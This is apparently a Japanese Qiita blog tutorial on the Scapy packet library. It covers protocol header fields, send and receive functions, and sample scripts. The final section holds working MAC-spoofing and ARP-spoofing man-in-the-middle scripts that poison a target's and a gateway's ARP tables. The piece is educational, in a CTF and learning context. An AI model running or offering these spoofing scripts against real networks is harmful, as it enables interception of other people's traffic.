Go to list of users who liked
Share on X(Twitter)
Share on Facebook
More than 5 years have passed since last update.
Scapyとは
- 幅広い通信プロトコルに対応したパケット操作プログラム
- CTFで使える!
- ネットワークの勉強になる!
インストール
- linux
pip3installscapy-python3- mac
pip3install--pre scapyipythonを入れると、自動補完してくれます
sudoaptinstallipython起動方法
terminalで下記のコマンドでインタラクティブ・モード使えます
sudoscapyもしくは
sudopython3>>> from scapy.all import*注意
ヘッダの作り方
- Ethernetヘッダ
Ether()
- IPヘッダ
IP()
- TCPヘッダ
TCP()
- ARPヘッダ
ARP()- DNSヘッダ
DNS()
パケットの作り方
- "/"で区切るだけ
Ether()/IP()/TCP()
フィールドの追加方法
2通りあります。
① 引数にフィールドを書く
② 変数にいれた後にドットで指定する
>>> icmp= ICMP(code=2) # 引数にフィールドを指定>>> icmp.show()# パケットの中身を確認### [ ICMP ]###type= echo-request code= 2 chksum= Noneid= 0x0seq= 0x0>>> icmp= ICMP()>>> icmp.id= 10 #ドットでフィールドを指定>>> icmp.show()# パケットの中身を確認### [ ICMP ]###type= echo-request code= 0 chksum= Noneid= 0xaseq= 0x0フィールドを指定しなくても、デフォルトで値が入っている
>>> icmp= ICMP()>>> icmp.show()### [ ICMP ]###type= echo-request code= 0 chksum= Noneid= 0x0seq= 0x0フィールドとは
あて先IPアドレスやMACアドレスなどを指定する項目のこと詳しくは、[フィールド](#フィールド)その他
packet.show()- packetの中身を整形して出力
packet.summary()- wiresharkでいうところのinfoフィールドの値を見ることができる
>>>ARP().summary()'ARP who has 0.0.0.0 says 192.168.3.12'ls(ヘッダ)- 指定したヘッダに対応しているフィールドを調べることができる
>>>ls(IP)version : BitField=(4)ihl : BitField=(None)tos : XByteField=(0)len : ShortField=(None)id : ShortField=(1)flags : FlagsField=(0)frag : BitField=(0)ttl : ByteField=(64)proto : ByteEnumField=(0)chksum : XShortField=(None)src : Emph=(None)dst : Emph=('127.0.0.1')options : PacketListField=([])ls()- 作成できるプロトコル一覧を表示
lsc()- 関数一覧表示
dir()- 変数一覧表示
hexdump(パケット)- 作ったパケットを16進数で表示
conf.verb = 0- 「パケットを送信(受信)しました」などの、説明を非表示にする
パケットの送受信
send(packet)- レイヤ3でパケットを送信
sendp(packet)- レイヤ2でパケットを送信
sr(packet)- レイヤー3でパケットを送信し、レスポンスが返ってくる(返答をすべて受信)
sr1(packet)- レイヤ3でパケットを送信し,その応答の1つ目がレスポンスとして返ってくる
srp(packet)- レイヤー2でパケットを送信し、レスポンスが返ってくる(返答をすべて受信)
srp1(packet)- レイヤー2にでパケットを送信し、その応答の1つ目がレスポンスとして返ってくる
srflood(packet)- レイヤー3でパケットを送信し続ける
srpflood(packet)- レイヤー2でパケットを送信し続ける
send(packet,timeout=1,iface='eth0')- タイムアウト時間と送信先インターフェースを指定することができる
**pがついてる関数は、レイヤ2でパケットを送信します
また、第2引数にverbose = 0を指定すると、「送信(受信)しました」などの説明を非表示にできます。
送るたびに、書くのが面倒な場合は、conf.verb = 0**と宣言しておくと、いちいち書かなくて済む
パケット解析
Pcapファイルの読み込み
rdpcap(pcapファイル)- pcapファイルを読み込むことができる
- **
packet[n]**でn+1番目のパケットにアクセスできる
>>>packet=rdpcap("example.pcap")>>> packet<example.pcap: TCP:19 UDP:9 ICMP:0 Other:2>>>> packet[0]<Etherdst=01:00:5e:7f:ff:fasrc=30:f7:72:3b:08:24type=0x800 |<IPversion=4Lihl=5Ltos=0x0len=165id=0flags=DFfrag=0Lttl=4proto=udpchksum=0xc2a3src=192.168.3.2dst=239.255.255.250options=[] |<UDPsport=36259dport=1900len=145chksum=0xb5a8 |<Rawload='M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: "ssdp:discover"\r\nMwireshark(packet)- 変数packetの中身をWiresharkで表示することができる
wrpcap('sample.pcap',packet)- 変数packetの中身をsample.pcapに書き込みことができる
フィールド
ヘッダごとに、指定するフィールドをまとめてみました。
EthernetⅡヘッダ
まず,ls(ヘッダ)でどんなフィールドがあるか調べる
>>>ls(Ether)dst:DestMACField=(None)src:SourceMACField=(None)type:XShortEnumField=(36864)dst(destination)- あて先MACアドレス
src(source)- 送信元MACアドレス
type- EthernetⅡの次に続くプロトコルを2バイトで指定するフィールド
イーサタイプ プロトコル 0x0800 IPv4 0x86dd IPv6 0x0806 ARP 0x8035 RARP 0x8863 PPPoE(Discovery Stage) 0x8864 PPPoE(Session Stage)
ARPヘッダ
| Ethernetヘッダ | ARPヘッダ |
|---|
>>>ls(ARP)hwtype:XShortField=(1)ptype:XShortEnumField=(2048)hwlen:ByteField=(6)plen:ByteField=(4)op:ShortEnumField=(1)hwsrc:ARPSourceMACField=(None)psrc:SourceIPField=(None)hwdst:MACField=('00:00:00:00:00:00')pdst:IPField=('0.0.0.0')hwtype(hardware type)- データリンク層のプロトコルの種類を指定するフィールド
- デフォルトでは、『1(0x1)』が入ってるが、これはEthernetⅡを使うことを意味している
ptype(protocol type)- ネットワーク層のプロトコルを表すフィールド
- デフォルトでは、『2048(0x800)』という値が入り、IPが指定されている
hwlen(hardware length)- データリンク層のアドレスのサイズを表すフィールド
- デフォルトではMACアドレスのサイズである『6(0x6)』という値が指定されている
plen(protocol length)- ネットワーク層のプロトコルのアドレスのサイズを表すフィールド
- デフォルトでは、IPアドレスのサイズである『4(0x4)』が指定されている
op(opcode)- ARPで行う処理の種類を指定するフィールド
- デフォルトでは、IPアドレスをもとにMACアドレスを問い合わせるARP要求ブロードキャストを意味する『1(0x1)』が入っている
- ARP要求に対して、該当する機器がMACアドレスおよびIPアドレスを問い合わせ元に返答するARP応答ユニキャストでは『2(0x2)』が入る
hwsrc(hardware source)- ARPを送信する端末のMACアドレス
psrc(ip source)- ARPを送信する端末のIPアドレス
hwdst(hardware destination)- ARPで解決したいMACアドレス(解決したいと言っても、最初はMACアドレスを知りようがないのでダミーMACアドレスを入れる)
- デフォルトでは、ダミーMACアドレス『00:00:00:00:00:00』 が指定されている
pdst(ip destination)- ARPで解決したいIPアドレス
個人的に躓いたところ
Q1.EthernetパケットとARPパケットの両方で、あて先MAC/送信元MACを指定しているのはなぜか? ⇒ARP要求を投げるノードが必ずしも応答を受けとりたいノードとは限らないため、そのような仕様になっている。Q2.送信元IPとあて先IPのどっちに指定した、IPアドレスに対応したMACアドレスが返ってくるのか? ⇒あて先IPです。ARP要求は、Ethernetパケットで、ブロードキャストすることによって、LAN内の全端末にARP要求が届き、それを受けっとたノードはあて先IPアドレスが自分のIPアドレスと一致した場合にだけ応答するという仕組みになっているからです。
IPヘッダ
>>>ls(IP)version:BitField(4bits)=(4)ihl:BitField(4bits)=(None)tos:XByteField=(0)len:ShortField=(None)id:ShortField=(1)flags:FlagsField(3bits)=(<Flag0()>)frag:BitField(13bits)=(0)ttl:ByteField=(64)proto:ByteEnumField=(0)chksum:XShortField=(None)src:SourceIPField=(None)dst:DestIPField=(None)options:PacketListField=([])version- IPのバージョンを指定するフィールド
- デフォルトではIPv4という意味の『4(0x04)』が指定されている
ihl(internet header length)- IPv4のヘッダ長を指定するフィールド
- 端末は、この値を見ることによって、どこまでがIPヘッダーであるかを知る事ができる。
- IPヘッダーの長さは基本的に20バイト(160b = 32b×5)なので『5』が入ることになります。
tos(type of service)- 通信の品質を定めているフィールド
TOSフィールド内の優先順位ビットの値 値 優先順位 000 標準 001 優先 010 即時 011 速報 100 優先速報 101 重大 110 インターネットワーク制御 111 ネットワーク制御 len(length)- IPパケットの全長サイズ
- IPパケットは、EthernetⅡだけでなく、ブロードバンドで利用するPPPoEやPPPなどといったレイヤ2の様々なプロトコルを使えるため、データリンクに応じてサイズを変えられるようになっている。
id(identification)- 送信するパケットを識別するための値
flags- フラグメントを指定するフィールド
- 大きなサイズのIPパケットを一度に送ることができない場合に、複数のIPパケットに分割したり結合したりする機能のこと(3bitで構成されている)
Reservedビット- 未使用で必ず『0』になる
DF(Don't Fragment)- 『0』‥分割可
- 『1』‥分割不可
MF(More Fragments)- 『0』‥最後のパケット
- 『1』‥途中のパケット
flag- フラグメントオフセット
- 元のデータの何バイト目からのデータなのかを示している(1番目のパケットであれば『0』)
ttl(time to live)- IPパケットの寿命
- ルータなどの中継装置を通過するたびに、1ずつ減算されていく
proto(protocol)- IPの次のレイヤのヘッダを1バイトで表す
主なプロトコル番号とカプセル化されるプロトコル プロトコル番号 プロトコル 1 ICMP 6 TCP 17 UDP 50 ESP chksum(checksum)- IPヘッダの内容を確認し、ヘッダに誤りがないかチェックする
src(source)- 送信元IPアドレス
dst(destination)- あて先IPアドレス
options- 特別な設定をするときに使う
TCPヘッダ
Ethernetヘッダ IPヘッダ TCPヘッダ tcp.py>>>ls(TCP)sport:ShortEnumField=(20)dport:ShortEnumField=(80)seq:IntField=(0)ack:IntField=(0)dataofs:BitField(4bits)=(None)reserved:BitField(3bits)=(0)flags:FlagsField(9bits)=(<Flag2(S)>)window:ShortField=(8192)chksum:XShortField=(None)urgptr:ShortField=(0)options:TCPOptionsField=([])sport(source port)- 送信元ポート番号
dport(destination port)- あて先ポート番号
seq(sequence)- パケットの順序番号
ack(acknowledgement)確認応答番号
クライアントがサーバに対して、『次にこのシーケンス番号以降のデータをください』とお願いするためのフィールドdataofs(data offset)- TCPヘッダの長さ
reserved- このフィールドは将来の拡張のために用意されていて、通常はすべて「0」がセットされる
flags- コネクションの状態を制御するフィールド
- 初期値はすべて『0』で、値が『1』の場合にそれぞれのフラグが有効となる
CWRECEURG(URGENT)- 緊急を表すフラグ
ACK(ACKNOWLEDGEMENT)- 確認応答を表すフラグ
PSH(PUSH)- 速やかにアプリケーションにデータを渡すフラグ
RST(RESET)- コネクションを強制切断するフラグ
SYN(SYNCHRONIZE)- コネクションを開始するフラグ
FIN(FINISH)- コネクションを終了するフラグ
windowウィンドウサイズ
送信側に空いているバッファサイズを通知するchksum(checksum)- TCPセグメントのエラー確認
urgptr(urgent pointer)- コントロールビットの URG フラグが『1』になっている時にだけ、緊急データを示す最後のバイトのシーケンス番号がセットされる
options- 特別な設定をするためのフィールド
UDPヘッダ
Ethernetヘッダ IPヘッダ UDPヘッダ UDP.py>>>ls(UDP)sport:ShortEnumField=(53)dport:ShortEnumField=(53)len:ShortField=(None)chksum:XShortField=(None)sport(source port)- 送信元ポート番号
dport(destination port)- あて先ポート番号
len(length)- UDPデータグラムのサイズ
chksum(checksum)- 受け取ったデータグラムが壊れていないか、整合性のテェックに使用される16bitのフィールド
ICMPヘッダ
Ethernetヘッダ IPヘッダ ICMPヘッダ icmp.py>>>ls(ICMP)type:ByteEnumField=(8)code:MultiEnumField(Dependsontype)=(0)chksum:XShortField=(None)id:XShortField(Cond)=(0)seq:XShortField(Cond)=(0)ts_ori:ICMPTimeStampField(Cond)=(46455505)ts_rx:ICMPTimeStampField(Cond)=(46455505)ts_tx:ICMPTimeStampField(Cond)=(46455505)gw:IPField(Cond)=('0.0.0.0')ptr:ByteField(Cond)=(0)reserved:ByteField(Cond)=(0)length:ByteField(Cond)=(0)addr_mask:IPField(Cond)=('0.0.0.0')nexthopmtu:ShortField(Cond)=(0)unused:ShortField(Cond)=(0)unused:IntField(Cond)=(0)type- 0 → エコー応答(Echo Reply)
- 3 → 宛先到達不能(Destination Unreachable)
- 4 → 転送抑制支持(Souce Quench)
- 5 → 最適経路通知(Redirect)
- 8 → Echo要求(Echo Request)
- 9 → ルータ通知(Router Advertisement)
- 10 → ルータ選択(Router Selection)
- 11 → 時間超過によるパケット破棄(Time Exceeded)
- 12 → 誤ったパラメータによるエラー
- 13 → タイムスタンプ要求
- 14 → タイムスタンプ応答
code- 0‥ネットワーク到達不能
- 1‥ホストへ到達不能
- 2‥そのプロトコルは使用できない
- 3‥対象ポートが閉じている
- 4‥IPパケット分割不可
- 5..指定された経路で通信できない
chksum(checksum)- エラーチェックを行うためのフィールド
id(identification)- ICMPメッセージが複数ある場合に、それぞれを区別するために用紙された識別フィールド
seq(sequence)- 連続してpingを送信する際に、それぞれのpingを区別するための順序番号
ts_ori(timestamp original)- 開始タイムスタンプ
ts_rx(timestamp)- 受信タイムスタンプ
ts_tx(timestamp)- 送信タイムスタンプ
gw(gateway)- ゲートウェイアドレス
ptr(pointer)reserved- 予約ビット
lengthaddr_masknexthopmtu
DNSヘッダ
ゾーン転送はTCP53番ポート
Ethernetヘッダ IPヘッダ TCPヘッダ DNSヘッダ 名前解決はUDP53番ポート
Ethernetヘッダ IPヘッダ UDPヘッダ DNSヘッダ dns.py>>>ls(DNS)id:ShortField=(0)qr:BitField(1bit)=(0)opcode:BitEnumField(4bits)=(0)aa:BitField(1bit)=(0)tc:BitField(1bit)=(0)rd:BitField(1bit)=(1)ra:BitField(1bit)=(0)z:BitField(1bit)=(0)ad:BitField(1bit)=(0)cd:BitField(1bit)=(0)rcode:BitEnumField(4bits)=(0)qdcount:DNSRRCountField=(None)ancount:DNSRRCountField=(None)nscount:DNSRRCountField=(None)arcount:DNSRRCountField=(None)qd:DNSQRField=(None)an:DNSRRField=(None)ns:DNSRRField=(None)ar:DNSRRField=(None)id(identification)- 問い合わせを区別する識別子
- クエリ要求とクエリ応答で共通の値になる
qr(query/response)- 問い合わせ/応答フラグ
- 0‥クエリ要求
- 1‥クエリ応答
opcode(operation code)- 問い合わせの種類
- 0‥正引き
- 1‥逆引き
- 2‥サーバの状態を要求する問い合わせ
aa(authoritative answer)- そのドメインに対するコンテンツサーバーかどうかを表す
- 0‥オーソリティあり
- 1‥オーソリティなし
tc(truncation)- 切り捨て
- 0‥データが512バイト未満
- 1‥データが512バイト異常
rd(recursion desired)- 再帰要望
- 0‥反復問い合わせ(フルサービスリゾルバ→コンテンツサーバ)
- 1‥再帰問い合わせ(スタブリゾルバ→フルサービスリゾルバ)
ra(recursion available)- 再帰有効
- 0‥再帰不可(コンテンツサーバ)
- 1‥再帰可能(フルサービスリゾルバ)
z- 将来的な拡張用。ゼロが入る
ad- DNSSEC検証に成功したことを示す(応答)/応答のADビットを理解できることを示す(問い合わせ)
cd- DNSSEC検証の禁止
rcode(response code)- 応答コード
- 0‥正常応答
- 1..フォーマットエラー(DNSサーバーがそのクエリを理解できなかった)
- 2..サーバー障害(DNSサーバがそのクエリを処理できなかった)
- 3..名前エラー(そのクエリのドメイン名が存在しなかった)
- 4..未実装(そのクエリをサポートしていなかった)
- 5..拒否(ポリシーによって拒否した)
- 6~15..将来のために予約
qdcount- 問い合わせ(Question)セクションの数で、常に1
- クライアントが指定する。
ancount- 応答(Answer)セクションのリソースレコード(RR)数
- サーバが指定する。
nscount- 委任情報(Authority)セクションのRR数
- サーバが指定する
arcount- 付加情報(Additional)セクションのRR数
- サーバが指定する。
qd
qdは、DNSサーバに対する質問がセットされるセクション
フィールド 内容 qname 問い合わせるドメイン名 qtype 問い合わせの種類 A:ホストアドレス NS:コンテンツサーバ CNAME:別名 SOA:管理情報 PTR:IPアドレス MX:メールサーバー TXT:コメント AXFR:ゾーン転送要求 qclass 問い合わせのクラスを表す IN:インターネット 『www.google.com』を問い合わせる場合
**```DNS(qd=DNSQR(qname="www.google.com",qtype="A",qclass="IN"))```**an/ns/ar
これら3つのセクションには、ゾーンファイルを構成するリソースレコードの情報がセットされ、
基本的には同じメッセージフォーマットが適用される。anは、質問したタイプに対する回答リソースレコードがセットされるセクションnsは、質問したドメイン名に対してオーソリティを持つサーバのレコードが入る(通常はNS)ar、は付加情報がセットされるセクション
ほとんどの場合、nsセクションで指定されたコンテンツサーバのIPアドレスがセットされる問い合わせの場合は、回答・オーソリティ・追加の数は『0』
応答の場合は、問い合わせの『質問の数』がそのまま応答に入るフィールド 内容 rrname 対象となるドメイン名 type 問い合わせの種類を表す A:ホストアドレス NS:コンテンツサーバ CNAME:別名 SOA:管理情報 PTR:IPアドレス MX:メールサーバー TXT:コメント rclass 問い合わせのクラスを表す IN:インターネット ttl リソースレコードの生存時間(秒) rdlen リソースレコードの長さ(バイト) rdata リソースレコードの情報 実装編
これまでの知識を応用して、実際にパケットを作ってみたいと思います
pingを作る
googleにpingを放つコードを書いてみます
ちゃんとpingが打ててるか確認するために、戻り値を表示しますping.pyfromscapy.allimport*ping=IP(dst="www.google.com")/ICMP()ans=sr1(ping)ans.show()216.58.199.228(google) ⇒ 192.168.3.12にちゃんとpingが返って来ている
ping.py(戻り値)### [ IP ]### version = 4 ihl = 5 tos = 0x0 len = 28 id = 0 flags = frag = 0 ttl = 55 proto = icmp chksum = 0x200e src = 216.58.199.228 dst = 192.168.3.12 \options \### [ ICMP ]### type = echo-reply code = 0 chksum = 0x0 id = 0x0 seq = 0x0ARP要求
特定のIPアドレスのMACアドレスを得るためのARP要求を行うコードを書いてみます。
ARPはLAN内で行うので、レイヤー2に送る**srp1**関数を使いますarp.pyfromscapy.allimport*arp=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.2")res=srp1(arp)res.show()hwsrcを見ると、ちゃんとMACアドレスが返って来てるのがわかるarp.py(戻り値)### [ Ethernet ]### dst = 08:00:27:95:8c:5e src = 68:ec:c5:d2:43:3f type = 0x806### [ ARP ]### hwtype = 0x1 ptype = 0x800 hwlen = 6 plen = 4 op = is-at hwsrc = 68:ec:c5:d2:43:3f psrc = 192.168.3.2 hwdst = 08:00:27:95:8c:5e pdst = 192.168.3.12名前解決
googleの名前解決をしてみたいと思います。
DNSパケットの構造は**IP()/UDP()/DNS()**です。
IPパケットのあて先は、Google Public DNS(8.8.8.8)にしました。resolve.pyfromscapy.allimport*answer=sr1(IP(dst="8.8.8.8")/UDP()/DNS(qd=DNSQR(qname="www.google.com")),verbose=0)printanswer[DNS].summary()reslove.py(戻り値)DNS Ans "172.217.26.4"3-way-handshake
youtubeと3-way-handshakeしたいと思います。下図の通り①のseq番号は何でもいいです
また、sportはランダムで、dportはhttpsなので、443です。
3way.pyfromscapy.allimport*importrandomconf.verb=0sport=random.randint(1024,65535)seq=random.randint(0,1000)ip=IP(dst='www.youtube.com')SYN=TCP(sport=sport,dport=443,flags='S',seq=seq)# ①SYNACK=sr1(ip/SYN)# ②ACK=TCP(sport=sport,dport=443,flags='A',seq=SYNACK.ack,ack=SYNACK.seq+1)# ③send(ip/ACK)LAN内のMACアドレスとIPアドレスを調べる
ARPは宛先IPアドレスに指定したMACアドレスを教えてくれる
fromscapy.allimport*ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.0/24"),timeout=2)ans.summary(lambda(s,r):r.sprintf("%Ether.src% %ARP.psrc%"))結果"""xx:xx:xx:xx:xx:xx 192.168.3.2xx:xx:xx:xx:xx:xx 192.168.3.1xx:xx:xx:xx:xx:xx 192.168.3.6xx:xx:xx:xx:xx:xx 192.168.3.4"""なお、上のスクリプトは**
arping("192.168.3.*")**という組み込み関数を使えば一発でできる。MACアドレスの偽装
ARPパケットを受信したノードは、送信元MACアドレスを元に、ARPテーブルを作っているので、そこを任意のものにすれば良い
fake_mac_addr.pyfromscapy.allimport*target_mac=raw_input("target_mac >>")fake_mac_addr=raw_input("fake_mac_addr >>")eth=Ether(dst=target_mac)arp=ARP()arp.op=2#ARP応答arp.hwsrc=fake_mac_addrarp.hwdst=target_macframe=eth/arpsendp(frame)ARP Spoofing
『ARP要求とARP応答は認証がないので、偽のMACアドレスのARP応答を送ると、受信側はそのリクエストを受け付けてしまう』という仕組みを利用して、arpテーブルを書き換えて、通信を『target ⇄ 攻撃者 ⇄ gateway』のようにする
arp_spoofing.py# coding:utf-8fromscapy.allimport*importsysimportsubprocessimportos# IPパケット転送機能をONにするprint"[*] Enabling IP Forwarding...\n"ifos.name=='nt':command=["echo 1 > /proc/sys/net/ipv4/ip_forward"]subprocess.call(command,shell=True)elifos.name=='posix':command=["sysctl -w net.inet.ip.forwarding = 1"]subprocess.call(command,shell=True)else:print("error")sys.exit()conf.verb=0target_ip=raw_input("target_ip >>")target_mac=raw_input("target_mac >>")gateway_ip=raw_input("gateway_ip >>")gateway_mac=raw_input("gateway_mac >>")fake_mac_addr=raw_input("fake_mac_addr >>")defmain():try:print"[*] Start ARP_spoofing...[CTRL-C to stop]"poison_target(target_ip,target_mac,gateway_ip,gateway_mac)exceptKeyboardInterrupt:passfinally:restore_table(gateway_ip,gateway_mac,target_ip,target_mac)sys.exit(0)defpoison_target(target_ip,target_mac,gateway_ip,gateway_mac):# ARP応答poisoning_target=Ether(dst=target_mac)/ARP()poisoning_target.op=2# ARP応答ユニキャストpoisoning_target.psrc=gateway_ip# あて先IPにゲートウェイのアドレスpoisoning_target.pdst=target_ip# 通信相手のIPアドレスpoisoning_gateway=Ether(dst=gateway_mac)/ARP()poisoning_gateway.op=2poisoning_gateway.psrc=target_ippoisoning_gateway.pdst=gateway_ip# MACアドレス偽装frame=Ether(dst=target_mac)/ARP(op=2,hwsrc=fake_mac_addr,hwdst=target_mac)whileTrue:sendp(poisoning_target)sendp(poisoning_gateway)sendp(frame)print"[*] Finished."returndefrestore_table(gateway_ip,gateway_mac,target_ip,target_mac):print"[*] Restoring target."arp=ARP()arp.op=1# ARP要求ブロードキャストarp.psrc=gateway_ip# ARP要求を行った送信元IPアドレスarp.hwsrc=gateway_mac# 送信元MACarp.pdst=target_ip# あて先IPアドレスarp.hwdst=target_mac# あて先MACアドレスsend(arp,count=3)print"Disabling IP Forwading...\n"ifos.name=='nt':command="echo 0 > /proc/sys/net/ipv4/ip_forward"subprocess.call(command,shell=True)elifos.name=='posix':command="sysctl -w net.inet.ip.forwarding = 0"subprocess.call(command,shell=True)if__name__=="__main__":main()MACアドレスを偽装しているのは、targetのarpテーブルに、攻撃者のMACアドレスが2つ存在してしまうのを防ぐため
総評
Scapyに無限の可能性を感じた。
普段使っているプロトコルの仕組みや、wiresharkの通信を見て何をやってるのかがわかるようになったので、まとめてよかった。参考
公式ドキュメント
サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考
パケットキャプチャ入門 第3版 (LANアナライザWireshark活用術)
3分間DNS基礎講座
パケットキャプチャの教科書
Register as a new user and use Qiita more conveniently
- You get articles that match your needs
- You can efficiently read back useful information
- You can use dark theme
